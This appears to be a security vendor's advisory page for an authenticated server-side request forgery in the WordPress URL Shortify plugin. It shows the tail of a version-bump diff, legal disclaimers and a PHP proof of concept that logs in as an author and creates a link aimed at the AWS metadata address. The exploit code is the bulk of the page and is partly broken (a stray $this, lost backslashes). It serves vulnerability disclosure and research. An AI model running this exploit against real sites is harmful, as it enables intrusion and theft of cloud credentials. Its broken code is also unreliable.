 	 * @since 1.0.0
 	 */
 	if ( ! defined( 'KC_US_PLUGIN_VERSION' ) ) {
-		define( 'KC_US_PLUGIN_VERSION', '1.12.3' );
+		define( 'KC_US_PLUGIN_VERSION', '1.12.4' );
 	}

 	/**
--- a/url-shortify/vendor/composer/installed.php
+++ b/url-shortify/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'kaizen-coders/url-shortify',
-        'pretty_version' => '1.12.3',
-        'version' => '1.12.3.0',
-        'reference' => 'a764b5b98dbb0ed2dc5690ef8c2309a10e46343e',
+        'pretty_version' => '1.12.4',
+        'version' => '1.12.4.0',
+        'reference' => '746f95b2ec09f1772f725b373077f4536bea847f',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -20,9 +20,9 @@
             'dev_requirement' => false,
         ),
         'kaizen-coders/url-shortify' => array(
-            'pretty_version' => '1.12.3',
-            'version' => '1.12.3.0',
-            'reference' => 'a764b5b98dbb0ed2dc5690ef8c2309a10e46343e',
+            'pretty_version' => '1.12.4',
+            'version' => '1.12.4.0',
+            'reference' => '746f95b2ec09f1772f725b373077f4536bea847f',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-25385 - URL Shortify <= 1.12.3 - Authenticated (Author+) Server-Side Request Forgery

<?php

$target_url = 'http://target-wordpress-site.com';
$username = 'author_user';
$password = 'author_password';

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$admin_url = $target_url . '/wp-admin/';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Get login form and extract nonce
$response = curl_exec($ch);
preg_match('/name="log"[^>]+value="([^"]*)"/', $response, $log_match);
preg_match('/name="pwd"[^>]+value="([^"]*)"/', $response, $pwd_match);

// Perform login
$post_fields = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $admin_url,
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
$response = curl_exec($ch);

// Step 2: Create a malicious link with SSRF payload
// Target AWS metadata service as example
$ssrf_payload = 'http://169.254.169.254/latest/meta-data/';

// Use the plugin's REST API endpoint
$api_url = $target_url . '/wp-json/url-shortify/v1/links';

$link_data = array(
    'name' => 'Test Link',
    'url' => $ssrf_payload,
    'redirect_type' => '301'
);

curl_setopt($ch, CURLOPT_URL, $api_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($link_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/json',
    'X-WP-Nonce: ' . $this->get_rest_nonce($ch, $target_url)
));

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($http_code == 200 || $http_code == 201) {
    echo "[+] SSRF link created successfullyn";
    $response_data = json_decode($response, true);
    if (isset($response_data['id'])) {
        echo "[+] Link ID: " . $response_data['id'] . "n";
        echo "[+] The plugin will now attempt to fetch the title from: " . $ssrf_payload . "n";
        echo "[+] This triggers the SSRF vulnerabilityn";
    }
} else {
    echo "[-] Failed to create link. HTTP Code: " . $http_code . "n";
    echo "Response: " . $response . "n";
}

curl_close($ch);

// Helper function to get REST API nonce
function get_rest_nonce($ch, $target_url) {
    $settings_url = $target_url . '/wp-admin/admin.php?page=url_shortify_settings';
    curl_setopt($ch, CURLOPT_URL, $settings_url);
    curl_setopt($ch, CURLOPT_POST, false);
    $response = curl_exec($ch);
    
    // Extract nonce from page
    preg_match('/wpApiSettings.*?nonce["']:s*["']([a-f0-9]+)["']/', $response, $matches);
    if (isset($matches[1])) {
        return $matches[1];
    }
    return '';
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School